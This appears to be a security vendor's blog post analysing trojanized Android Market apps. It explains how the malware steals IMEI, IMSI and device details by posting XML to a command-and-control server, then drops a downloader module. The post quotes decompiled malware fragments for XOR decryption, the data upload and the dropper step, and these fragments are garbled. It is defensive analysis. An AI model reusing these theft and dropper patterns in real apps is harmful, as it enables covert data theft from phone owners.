Malware in the Android Market, part 2

Yesterday my colleague Tim Armstrong wrote about the malware outbreak in the Android Market. In short, a number of legal apps were trojanized and uploaded to the Android Market. Let’s take a closer look into one of them.

As it was mentioned earlier, all the malicious apps we’ve seen so far were using the same exploits which are detected by Kaspersky as Exploit.AndroidOS.Lotoor.g and Exploit.AndroidOS.Lotoor.j. Both are well-known and work on all Android OS versions less than 2.3. This means that anyone who uses Gingerbread (Android 2.3) should be protected from these exploits.

So what exactly do these Trojans steal? Apparently, the attacker was keen on obtaining IMSI and IMEI numbers. Besides these, they are also harvesting information about the operating system and device type.

Here’s how the theft happens: inside the code, there is encrypted data block which is exactly 45 bytes in size. This block is encrypted using a simple XOR algorithm with a special key, which is stored in another data block called “KEYVALUE”. If you are curious, here’s how the decryption subroutine looks:

public static void crypt(byte abyte0[ ])
int i = 0;
int j = 0;
int k = abyte0.length;
if(j >= k)
byte byte0 = abyte0[j];
byte byte1 = KEYVALUE[i];
byte byte2 = (byte)(byte0 ^ byte1);
abyte0[j] = byte2;
int l = keylen;
if(i == l)
i = 0;

Once decrypted, the first data block points to “hxxp://, which is hosted by an ISP called Hurricane Electric (, in Fremont, California. We have already contacted Hurricane Electric about this host and they were prompt to take it down. At the time of writing, the malicious server is no longer accessible.

As we said before, the Trojan seems to have been designed to collect IMEI and IMSI codes, together with specific device information. The stolen data is transferred to the cybercriminals’ server via a POST method through the HTTP protocol. The uploaded blocks are in the XML format and look like this:

General format of the XML template

Data transferred by Backdoor.AndroidOS.Rooter.a

Data transferred by Backdoor.AndroidOS.Rooter.b

POST method used by Backdoor.AndroidOS.Rooter

The command field, which is set to “0” in the block above, signals the upload of the stolen IMEI and IMSI codes, together with device info. You can notice that information in tag differs in two different malicious APK files we have – ProductId has the values 10023 and 10039. Obviously, the attacker wanted to count the success rate of the different Trojans which were seeded in the market. Also, we should note that the data in tag (‘502’) is the same in both samples. This tag actually got us thinking: it is possible that this ‘502’ could be some kind of affiliate or partner ID. If this is true, one can wonder how many affiliates were (or are) out there?

To avoid posting the same data over and over, the Trojan sets a preference parameter ‘pref_config_setting’ to “done” after a successful upload:

public void run()
if(Setting.access$1(Setting.this).getSharedPreferences(“pref_config_setting”,0).getInt(“done”,0)== 0)
byte abyte0[] = val$c;
String s = new String(abyte0);
Context context = Setting.access$1(Setting.this);
Setting.postUrl(s, context);

Besides sending the stolen IMEI and IMSI codes, the Trojan installs another module. It does that by copying an internal resource file called sqlite.db into DownloadProvidersManager.apk:

private void destroy(boolean flag)
boolean flag1;
if(flag && !isPackageInstalled(ctx, “”))
flag1 = cpFile(ctx, “sqlite.db”, “DownloadProvidersManager.apk”);

So, what is the purpose of this second module? It connects back to the same server where it uploaded the stolen IMEI and IMSI but with a different request block (Command “2”). This time, it reads a response back from the server which seems to include a list of applications to download and install on the already infected device. So in essence, it’s a Trojan downloader module.

The highly modular architecture of the Trojan is interesting and points out of a few important conclusions. First of all, it has been designed to be easy to include in popular applications, to be uploaded on the Market with misleading names. Secondly, it has a classical command-and-control architecture – it sends an initial “I’m here” query with basic info and then deploys a more complex downloader to infect the device further. This is pretty similar to many Windows Trojans. Finally, the ability to install other applications on the devices hints at the way through which the author was planning to monetize the infections – by deploying Adware or Advertising-supported apps on the device.

We will continue to monitor the situation and update with any new developments.

Costin Raiu
Denis Maslennikov

Malware in the Android Market, part 2

Your email address will not be published. Required fields are marked *



APT trends report Q2 2021

This is our latest summary of advanced persistent threat (APT) activity, focusing on significant events that we observed during Q2 2021: attacks against Microsoft Exchange servers, APT29 and APT31 activities, targeting campaigns, etc.

LuminousMoth APT: Sweeping attacks for the chosen few

We recently came across unusual APT activity that was detected in high volumes, albeit most likely aimed at a few targets of interest. Further analysis revealed that the actor, which we dubbed LuminousMoth, shows an affinity to the HoneyMyte group, otherwise known as Mustang Panda.

WildPressure targets the macOS platform

We found new malware samples used in WildPressure campaigns: newer version of the C++ Milum Trojan, a corresponding VBScript variant with the same version number, and a Python script working on both Windows and macOS.

Ferocious Kitten: 6 years of covert surveillance in Iran

Ferocious Kitten is an APT group that has been targeting Persian-speaking individuals in Iran. Some of the TTPs used by this threat actor are reminiscent of other groups, such as Domestic Kitten and Rampant Kitten. In this report we aim to provide more details on these findings.

Subscribe to our weekly e-mails

The hottest research right in your inbox